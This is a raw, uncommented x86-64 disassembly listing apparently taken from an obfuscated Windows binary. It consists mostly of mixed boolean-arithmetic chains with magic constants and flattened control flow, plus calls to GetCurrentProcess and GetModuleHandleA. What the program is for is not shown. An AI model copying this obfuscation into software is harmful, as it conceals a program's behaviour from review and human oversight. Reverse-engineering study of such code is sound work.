and edi, 0x808d4c20
or edi, esi
xor edi, eax
mov eax, edi
not eax
and eax, 0x888dedf7
and edi, 0x77721208
or edi, eax
mov eax, edi
not eax
mov ecx, edx
not ecx
and ecx, 0xce5cc235
and edx, 0x31a33dca
or edx, ecx
mov ecx, edx
xor ecx, 0x31a33dca
xor edx, 0xce5cc235
and ecx, eax
or eax, edx
not eax
and edx, edi
or edx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xd5a1206f
mov ebx, edx
and ebx, 0x2a5edf90
or ebx, ecx
mov ecx, ebx
xor ecx, 0x4500002b
xor ebx, 0x2a5edf90
mov edi, ebx
and edi, 0xbaf5f3d4
and ecx, 0x450a0c2b
or ecx, edi
and edx, 0xbaf5f3d4
and eax, 0x450a0c2b
or eax, edx
xor eax, ecx
xor ebx, eax
test ebx, eax
sete r11b
setne r8b
cmp r9d, 9
setg al
cmp r9d, 0xa
setl r9b
mov ecx, r9d
xor cl, al
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, dl
or cl, al
or al, dl
xor al, 1
or al, bl
xor al, 1
or dl, r9b
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
mov ebx, ecx
xor bl, 1
or dl, al
xor dl, 1
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov r9d, edx
xor r8b, r11b
mov eax, r8d
xor al, 1
mov ecx, eax
and cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, r11d
xor dl, bl
or dl, r11b
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
xor al, r11b
mov r14d, eax
and al, dl
xor dl, 1
xor r14b, 1
mov ecx, edx
xor cl, r14b
and cl, dl
and r14b, dl
or r14b, al
mov eax, ecx
xor al, 1
xor cl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, cl
mov eax, r9d
xor al, 1
mov r10d, r9d
and r10b, al
mov esi, eax
mov ecx, r10d
xor cl, 1
mov eax, r9d
xor al, cl
mov edx, r9d
mov edi, r9d
or dl, cl
xor dl, 1
or dl, al
mov ebx, edx
mov r9d, edx
xor bl, 1
mov byte [rbp + 0x30], bl
mov eax, edi
mov byte [rbp + 0x2c], dil
or al, sil
mov edx, ebx
or dl, al
xor al, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor r10b, dil
or cl, sil
xor cl, 1
or cl, r10b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, eax
mov byte [rbp + 0x28], sil
xor dl, sil
or al, sil
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
mov r13d, r14d
xor r13b, 1
mov ecx, r13d
and cl, r14b
mov byte [rbp + 0x3d], cl
mov r12d, ecx
xor r12b, 1
or r12b, r14b
xor r12b, 1
mov ebx, r13d
xor bl, cl
mov byte [rbp + 0x3b], bl
or r12b, bl
xor r12b, 1
or r9b, r14b
mov byte [rbp + 0x3c], r9b
mov ecx, r14d
or cl, r13b
xor cl, 1
mov ebx, r12d
and bl, cl
xor cl, r12b
or cl, bl
mov r14d, ecx
xor r14b, 1
or cl, r14b
mov ebx, r14d
or bl, cl
xor bl, 1
xor cl, r14b
mov r14d, ebx
and r14b, cl
xor cl, bl
or cl, r14b
mov r14d, ecx
xor r14b, 1
mov r12d, r14d
and r12b, cl
mov ebx, r12d
xor bl, 1
xor r12b, r14b
or bl, cl
xor bl, 1
or bl, r12b
or r14b, cl
xor r14b, 1
mov ecx, ebx
and cl, r14b
xor r14b, bl
or r14b, cl
mov ebx, r14d
xor bl, 1
and r8b, r11b
mov r12d, r8d
xor r12b, 1
mov ecx, r12d
and cl, r8b
xor cl, 1
mov esi, r8d
xor sil, cl
or cl, r8b
xor cl, 1
or cl, sil
xor cl, r11b
mov r8d, r12d
and r8b, r11b
xor r12b, r11b
or r12b, r8b
mov r8d, r12d
xor r8b, cl
xor cl, 1
xor r8b, 1
or cl, r12b
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
and cl, r8b
mov r11d, r8d
and r11b, cl
xor cl, r8b
or cl, r11b
mov r8d, ecx
xor r8b, 1
and r8b, cl
mov r11d, r8d
and r11b, cl
xor r8b, cl
or r8b, r11b
mov ecx, r8d
xor cl, 1
and r8b, cl
mov r11d, ecx
and r11b, r8b
xor r8b, cl
or r8b, r11b
mov ecx, r8d
xor cl, 1
mov r11d, r8d
and r11b, cl
mov esi, r11d
and sil, r8b
xor r11b, r8b
or r11b, sil
or cl, r8b
xor cl, 1
mov r8d, r11d
and r8b, cl
xor cl, r11b
or cl, r8b
mov r8d, edx
and r8b, al
mov r11d, edx
and r11b, r8b
mov esi, edx
xor sil, r8b
or sil, r11b
mov r11d, esi
xor r11b, 1
mov r12d, esi
xor r12b, r11b
or r11b, sil
xor r11b, 1
or r11b, r12b
mov esi, r11d
xor sil, 1
and sil, r11b
xor sil, 1
mov r12d, r11d
xor r12b, sil
or sil, r11b
xor sil, 1
or sil, r12b
or dl, al
mov r12d, edx
xor r12b, 1
and r12b, dl
mov r11d, eax
and r11b, r8b
xor r8b, al
or r8b, r11b
mov r11d, edx
and r11b, r12b
xor r12b, dl
or r12b, r11b
mov edi, ecx
xor dil, 1
xor r12b, r8b
mov r8d, eax
and r8b, dl
xor dl, al
mov eax, esi
xor al, 1
or dl, r8b
xor dl, 1
mov r8d, r12d
and r8b, dl
xor dl, r12b
or dl, r8b
mov r8d, edx
xor r8b, 1
and dl, r8b
mov r12d, r8d
and r12b, dl
xor dl, r8b
or dl, r12b
mov r8d, edx
xor r8b, al
xor r8b, 1
and al, sil
xor al, 1
mov r12d, esi
xor r12b, al
or al, sil
or sil, dl
xor sil, 1
or sil, r8b
mov r8d, esi
xor r8b, 1
xor al, 1
or al, r12b
xor al, dl
mov edx, esi
and dl, r8b
mov r12d, esi
xor r12b, dl
xor dl, 1
or dl, r8b
mov r8d, eax
xor r8b, 1
xor dl, 1
or dl, r12b
mov r12d, edx
xor r12b, 1
and r12b, al
and dl, r8b
or dl, r12b
mov r8d, esi
and r8b, al
xor al, sil
or al, r8b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, r14d
and dl, bl
mov r8d, r14d
and r8b, dl
xor dl, r14b
or dl, r8b
mov esi, edx
xor sil, 1
mov r12d, ecx
and r12b, dil
mov r8d, r12d
xor r8b, 1
mov r14d, r8d
xor r14b, dil
or r8b, dil
xor r8b, 1
or r8b, r14b
or dil, cl
xor dil, 1
mov r14d, r8d
and r14b, dil
xor dil, r8b
or dil, r14b
mov r8d, edx
and r8b, sil
mov r14d, edx
and r14b, r8b
xor r8b, dl
or r8b, r14b
xor r8b, 1
mov r14d, r8d
xor r14b, dl
or r8b, dl
xor r8b, 1
or r8b, r14b
mov r14d, ecx
and r14b, r12b
xor r12b, cl
or r12b, r14b
mov ecx, r12d
xor cl, 1
and r12b, cl
mov r14d, ecx
and r14b, r12b
xor r12b, cl
mov ecx, r8d
xor cl, 1
or r12b, r14b
mov r14d, r8d
xor r14b, bl
xor r14b, 1
or r8b, r14b
and r14b, bl
xor bl, cl
and bl, cl
mov ecx, r14d
and cl, bl
xor bl, r14b
mov r15d, edi
xor r15b, 1
xor r8b, 1
or bl, cl
mov ecx, r8d
xor cl, bl
or bl, r8b
mov r8d, ecx
xor r8b, 1
xor bl, 1
or bl, cl
xor cl, bl
or bl, r8b
mov r14d, r15d
and r14b, dil
xor cl, 1
xor bl, 1
or bl, cl
mov ecx, r14d
xor cl, 1
or cl, dil
xor r12b, 1
mov r8d, ecx
and r8b, r12b
mov r10d, ecx
xor cl, r12b
or cl, r8b
xor r10b, 1
mov r8d, r12d
or r8b, r10b
xor r8b, 1
xor r12b, r10b
xor r12b, 1
and r12b, r10b
mov r9d, r8d
and r9b, r12b
xor r12b, r8b
or r12b, r9b
mov r8d, ecx
xor r8b, 1
mov r9d, r12d
xor r9b, 1
and r12b, cl
and r8b, r9b
or r8b, r12b
mov r12d, ecx
and r12b, r9b
xor r9b, cl
or r9b, r12b
xor r8b, 1
mov ecx, r8d
xor cl, r9b
or r8b, r9b
xor r8b, 1
or r8b, cl
mov ecx, ebx
xor cl, 1
mov r9d, ecx
and r9b, bl
mov r12d, ecx
and r12b, r9b
xor r9b, cl
or r9b, r12b
or cl, bl
xor cl, r9b
mov ebx, ecx
and cl, r9b
xor bl, 1
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
mov ebx, r8d
xor bl, 1
or r8b, bl
xor r8b, bl
and bl, r8b
xor bl, 1
mov r9d, ebx
xor r9b, r8b
or bl, r8b
xor bl, 1
or bl, r9b
mov r11d, ebx
xor r11b, cl
and bl, r11b
and r11b, cl
mov ecx, ebx
and cl, r11b
xor r11b, bl
or r11b, cl
mov ecx, r15d
xor cl, r14b
or cl, r10b
mov ebx, esi
or bl, dl
xor bl, 1
mov r9d, ebx
xor r9b, dl
mov r10d, ebx
or bl, dl
xor r10b, sil
xor r10b, 1
xor bl, 1
or bl, r10b
xor r9b, 1
mov edx, r9d
xor dl, bl
or r9b, bl
xor r9b, 1
or r9b, dl
mov r12d, ecx
xor r12b, 1
mov r10d, ecx
or r10b, r12b
mov ebx, r10d
xor bl, 1
mov edx, ebx
and dl, r10b
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov r8d, r14d
and r8b, dil
xor r14b, dil
or r14b, r8b
xor r14b, dl
xor r10b, r15b
or bl, dil
xor bl, 1
or bl, r10b
xor bl, 1
mov edx, r14d
and dl, bl
xor bl, r14b
or bl, dl
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov ebx, edx
and bl, r9b
xor r9b, 1
xor dl, 1
and dl, r9b
or dl, bl
xor r12b, sil
and r12b, sil
xor cl, sil
mov ebx, r12d
xor bl, 1
xor r12b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r12b
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, cl
or bl, dl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r8d, ebx
xor r8b, 1
mov edx, r8d
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
and r8b, cl
xor cl, 1
and cl, bl
or cl, r8b
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
or dl, cl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov ecx, r11d
xor cl, 1
mov r8d, r11d
xor r8b, dl
mov r10d, r8d
xor r10b, cl
and r10b, r8b
and dl, r9b
mov r8d, edx
and r8b, r9b
xor dl, r9b
or dl, r8b
and cl, dl
xor dl, 1
and dl, r11b
or dl, cl
xor r10b, 1
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
xor cl, r10b
xor cl, 1
mov edx, r10d
and dl, bl
xor bl, r10b
or bl, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov r8d, eax
xor r8b, 1
mov r10d, r8d
and r10b, al
mov ecx, r8d
xor cl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
xor dl, 1
mov r11d, ebx
xor r11b, dl
or dl, bl
xor dl, 1
or dl, r11b
and cl, r10b
xor cl, 1
mov r11d, r10d
xor r11b, cl
or cl, r10b
xor cl, 1
or cl, r11b
xor dl, 1
mov r10d, ecx
xor r10b, 1
mov r11d, ecx
and r11b, r10b
mov esi, r11d
and sil, cl
xor r11b, cl
or r11b, sil
xor r11b, dl
xor r11b, 1
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
xor r10b, 1
mov ecx, r11d
and cl, r10b
xor r10b, r11b
or r10b, cl
mov r11d, r10d
xor r11b, 1
mov edx, r9d
or dl, bl
mov ecx, edx
xor cl, 1
and cl, bl
or bl, dl
xor bl, 1
and dl, r9b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov edi, edx
xor dil, 1
and dil, dl
xor dil, 1
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov r8d, edi
xor r8b, 1
mov ebx, r11d
or bl, r10b
mov r9d, ebx
xor r9b, 1
mov ecx, edi
or cl, r8b
mov edx, ebx
and dl, r9b
xor dl, 1
mov esi, r9d
xor sil, dl
or dl, r9b
mov r9d, ecx
xor r9b, 1
xor dl, 1
or dl, sil
mov esi, edx
and sil, r10b
xor dl, 1
and dl, r11b
or dl, sil
mov esi, r11d
and sil, bl
xor bl, r11b
or bl, sil
mov esi, ebx
xor sil, dl
xor dl, 1
xor sil, 1
or dl, bl
xor dl, 1
or dl, sil
mov esi, edi
or sil, cl
and r9b, dil
and cl, r8b
or cl, r9b
mov ebx, esi
xor bl, cl
xor cl, 1
xor bl, 1
or cl, sil
xor cl, 1
or cl, bl
xor cl, dl
mov edx, ecx
xor dl, 1
and r10b, r11b
xor r10b, 1
mov ebx, r10d
xor bl, r11b
or r10b, r11b
xor r10b, 1
or r10b, bl
xor r10b, r8b
xor r10b, 1
mov ebx, r11d
and bl, dil
xor dil, r11b
or dil, bl
mov ebx, r10d
xor bl, dil
or dil, r10b
xor dil, 1
or dil, bl
mov ebx, edi
xor bl, 1
and dil, bl
mov r8d, ebx
and r8b, dil
xor dil, bl
or dil, r8b
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, dil
mov ebx, ecx
xor bl, dil
or dil, cl
xor dil, 1
or dil, bl
xor dil, 1
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
movzx eax, byte [rbp + 0x3d]
and al, r13b
or al, byte [rbp + 0x3b]
xor al, 1
mov ecx, eax
movzx r11d, byte [rbp + 0x2c]
or cl, r11b
xor al, r11b
xor al, 1
and al, r11b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
xor r11b, al
xor r11b, 1
or r11b, al
movzx ecx, byte [rbp + 0x30]
xor cl, r13b
movzx eax, byte [rbp + 0x3c]
xor al, 1
or al, cl
movzx ecx, byte [rbp + 0x28]
xor r13b, cl
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, al
and r13b, al
or r13b, cl
xor r13b, 1
mov edx, ecx
and dl, r13b
xor r13b, cl
or r13b, dl
mov ebx, r13d
xor bl, 1
mov edx, r13d
or dl, bl
mov r8d, r13d
xor r8b, bl
and r8b, r13b
and r13b, bl
xor r13b, 1
mov ecx, ebx
xor cl, r13b
or r13b, bl
xor r13b, 1
or r13b, cl
mov r9d, r13d
and r9b, r11b
mov r10d, r11d
xor r10b, bl
or bl, r11b
xor r11b, 1
mov ecx, r8d
xor cl, 1
mov esi, r8d
and sil, dl
xor dl, 1
and cl, dl
or cl, sil
mov esi, edx
xor sil, r8b
or dl, r8b
xor dl, 1
or dl, sil
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, 1
mov ecx, edx
or cl, r11b
xor dl, r11b
xor dl, 1
and dl, r11b
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor r13b, 1
and r13b, r11b
or r13b, r9b
xor bl, 1
or bl, r10b
mov ecx, ebx
xor cl, r13b
xor r13b, 1
xor cl, 1
or r13b, bl
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, 1
mov ebx, edx
xor bl, 1
and cl, bl
or bl, r13b
xor bl, 1
and r13b, dl
or r13b, cl
mov ecx, ebx
and cl, r13b
xor r13b, bl
or r13b, cl
mov ecx, r13d
xor cl, 1
mov edx, ecx
or dl, r13b
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r8d, edx
xor r8b, 1
mov r9d, r8d
and r9b, dl
mov ebx, r9d
xor bl, 1
xor r9b, r8b
or bl, dl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, 1
and cl, r13b
xor r13b, cl
and r13b, cl
mov ecx, r13d
xor cl, 1
and cl, bl
and dl, r13b
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, ebx
xor cl, r13b
xor cl, 1
and cl, r13b
or r13b, bl
mov ebx, r13d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r13b
xor cl, 1
or cl, bl
xor cl, dl
mov ebx, ecx
xor bl, 1
and bl, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov r8d, ebx
xor r8b, 1
mov ecx, ebx
or cl, r8b
mov edx, ecx
xor dl, 1
and r8b, cl
and dl, bl
or dl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, ecx
or dl, r8b
mov ebx, edx
xor bl, 1
and r8b, dl
and bl, cl
or bl, r8b
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov r9d, edx
xor r9b, 1
mov r11d, edi
xor r11b, 1
mov ebx, edi
or bl, r11b
mov ecx, edi
or cl, bl
xor cl, 1
xor bl, dil
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, ebx
xor cl, 1
mov r14d, ecx
and r14b, bl
xor cl, r14b
xor r14b, 1
or r14b, bl
xor r14b, 1
or r14b, cl
mov esi, r14d
xor sil, 1
and dil, r11b
mov r13d, r9d
and r13b, dl
mov ecx, r9d
xor cl, r13b
xor r13b, 1
or r13b, dl
xor r13b, 1
or r13b, cl
or dl, r9b
xor r9b, dl
and r9b, dl
xor dl, r13b
and r13b, dl
xor r13b, 1
mov ecx, r13d
xor cl, dl
or r13b, dl
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, 1
and r13b, cl
mov edx, ecx
and dl, r13b
xor r13b, cl
or r13b, dl
mov r8d, r13d
xor r8b, 1
mov edx, r14d
and dl, sil
xor dl, 1
mov ecx, esi
xor cl, dl
or dl, sil
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
xor cl, r14b
mov r10d, ecx
xor r10b, bl
and r10b, cl
or sil, r14b
mov r12d, edx
mov byte [rbp + 0x30], bl
and r12b, bl
xor r12b, 1
mov ecx, r12d
xor cl, bl
or r12b, bl
xor r12b, 1
or r12b, cl
mov ebx, r12d
and r12b, sil
mov r14d, esi
xor r14b, 1
mov ecx, r11d
and cl, dil
xor dil, r11b
or dil, cl
xor dil, 1
xor r11b, dil
xor dil, r11b
xor dil, 1
and dil, r11b
mov esi, r13d
mov ecx, r8d
or cl, r13b
mov eax, ecx
mov byte [rbp + 0x28], cl
xor al, 1
xor bl, 1
and bl, r14b
mov byte [rbp + 0x2c], bl
mov ebx, edx
xor dl, r14b
mov byte [rbp + 0x3d], dl
or r14b, bl
mov edx, ebx
mov ebx, ecx
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
mov byte [rbp + 0x3b], cl
or bl, al
or al, r13b
mov byte [rbp + 0x3c], al
xor dl, r13b
mov byte [rbp + 0x38], dl
mov byte [rbp + 0x39], r8b
and r13b, r8b
xor sil, r8b
or sil, r13b
mov ecx, esi
xor cl, 1
and sil, cl
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov eax, r10d
xor al, 1
mov edx, eax
xor dl, dil
mov ecx, edx
xor cl, al
and cl, dl
and al, r10b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov r10d, edi
xor r10b, 1
mov edx, r10d
and dl, dil
xor r10b, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, r10b
xor dl, al
mov edi, ecx
xor dil, 1
and cl, dil
mov r10d, edi
and r10b, cl
xor cl, dil
or cl, r10b
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov ecx, edi
and cl, r10b
xor r10b, dil
or r10b, cl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r8d, r9d
xor r8b, 1
mov edx, r8d
and dl, r9b
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
xor r8b, r9b
and r8b, r9b
mov r9d, esi
xor r9b, 1
mov r15d, esi
xor r15b, r9b
mov edi, esi
and dil, r9b
xor dil, 1
mov ecx, r9d
xor cl, dil
mov byte [rbp + 0x3a], cl
or dil, r9b
or r9b, sil
mov eax, r9d
xor al, 1
mov ecx, eax
and cl, r9b
mov r11d, ecx
and r11b, al
xor cl, al
or cl, r11b
and r15b, sil
mov r11d, ecx
xor r11b, 1
and r11b, r15b
mov eax, r15d
xor al, 1
and cl, al
or cl, r11b
mov r11d, r9d
and r11b, al
xor al, r9b
or al, r11b
xor al, 1
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
mov ecx, edx
xor cl, 1
mov r9d, edx
or r9b, cl
mov r11d, r8d
and r8b, r9b
xor r9b, 1
xor r11b, 1
mov r15d, r9d
xor r15b, r11b
and r15b, r9b
and r11b, r9b
or r11b, r8b
xor r15b, 1
xor r11b, 1
mov r8d, r15d
xor r8b, r11b
or r11b, r15b
xor r11b, 1
or r11b, r8b
mov r8d, r11d
xor r8b, 1
or r8b, al
xor al, 1
or al, r11b
xor r8b, 1
xor al, 1
mov r9d, r8d
and r9b, al
xor al, r8b
or al, r9b
xor dil, 1
or dil, byte [rbp + 0x3a]
and dl, cl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, dil
mov r8d, esi
and r8b, cl
xor cl, sil
or cl, r8b
xor dl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
and cl, dl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, r10d
xor cl, 1
mov edx, ecx
and dl, r10b
xor cl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
mov ecx, edx
xor cl, 1
or al, r8b
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov r9d, ecx
xor r9b, 1
and r9b, cl
xor r9b, 1
mov r8d, ecx
xor r8b, r9b
or r9b, cl
xor r9b, 1
or r9b, r8b
xor r9b, dl
or r12b, byte [rbp + 0x2c]
xor r14b, 1
or r14b, byte [rbp + 0x3d]
xor r14b, 1
mov ecx, r12d
and cl, r14b
xor r14b, r12b
or r14b, cl
movzx eax, byte [rbp + 0x39]
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
xor bl, 1
or bl, byte [rbp + 0x3b]
mov ecx, r13d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r13b
or bl, cl
movzx ecx, byte [rbp + 0x28]
xor cl, al
movzx edx, byte [rbp + 0x3c]
xor dl, 1
or dl, cl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, r14b
xor r14b, 1
and r14b, bl
or cl, r14b
movzx edx, byte [rbp + 0x30]
or dl, al
xor dl, 1
mov ebx, edx
movzx eax, byte [rbp + 0x38]
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or bl, cl
mov eax, ebx
xor al, 1
and al, bl
or dl, r8b
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
xor al, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, r9d
xor bl, 1
xor dl, 1
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, cl
xor al, 1
or al, r9b
mov edx, r9d
and dl, bl
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
xor dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x23a85c3e
mov edi, 0x7e60e7f7
cmovne edx, edi
test cl, 1
mov eax, edx
cmovne eax, edi
test bl, 1
jmp 0x1400213b1
mov eax, 0x46432c07
mov ecx, dword [rbp + 0xd0]
mov dword [rbp + 0x10], ecx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, 0x20
call fcn.14004b670
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0x10
call fcn.14004b670
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add rsp, 0x20
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x58]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
sub rsp, 0x20
lea rcx, [0x14004d2d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov qword [rbp + 0x60], rax
cmp qword [rbp + 0x60], 0
sete byte [rbp + 0x6f]
mov eax, dword [0x1400a6668]
mov r8d, dword [0x1400a6664]
lea r11d, [rax - 1]
imul r11d, eax
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0x5b1c6453
mov edx, r11d
and edx, 0xa4e39bac
or edx, eax
mov eax, edx
xor eax, 0x20439b00
xor edx, 0x120c0002
and edx, 0x96ac00ae
and eax, 0x6953ff51
or eax, edx
mov ebx, eax
xor ebx, 0x49501951
xor eax, 0x82800020
and eax, 0xa283e620
and ebx, 0x5d7c19df
or ebx, eax
mov r14d, ebx
xor r14d, 0xa283e620
xor ebx, 0x1d14098f
mov eax, r9d
or eax, r11d
mov edi, eax
not edi
mov edx, r14d
and edx, 0x426a1250
and ebx, 0xbd95edaf
or ebx, edx
mov r10d, ebx
xor r10d, 0xbd95edaf
and eax, 0xc894545c
mov edx, edi
and edx, 0x376baba3
or edx, eax
xor edx, 0x376baba3
xor ebx, 0x42080010
or ebx, 0x8573dee3
mov ecx, ebx
not ecx
or r14d, 0x7a8c211c
mov eax, r14d
not eax
mov esi, edx
and esi, 0x7a8c211c
and edi, 0x8573dee3
or edi, esi
and ebx, 0xab12810d
and ecx, 0x508c2010
or ecx, ebx
and r14d, 0xab12810d
and eax, 0x4615ee2
or eax, r14d
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa6d44a06
and eax, 0x592bb5f9
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0xa6d44a06
and edi, 0x592bb5f9
or edi, ecx
xor edi, eax
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov eax, edx
not eax
and eax, 0xe26703f8
and edx, 0x1d98fc07
or edx, eax
mov eax, edx
xor eax, 0x8886c03
xor edx, 0xe26703f8
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x773590dc
and edi, 0x88ca6f23
or edi, ecx
or ebx, edx
and edx, 0x773590dc
and eax, 0x88ca6f23
or eax, edx
xor eax, edi
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x7291b4f2
and ecx, ebx
or ebx, 0x8d6e4b0d
mov edx, ecx
not edx
mov edi, ebx
and edi, 0xea273bb9
and eax, 0x10908442
or eax, edi
or ebx, edx
and edx, 0xea273bb9
and ecx, 0x15d8c446
or ecx, edx
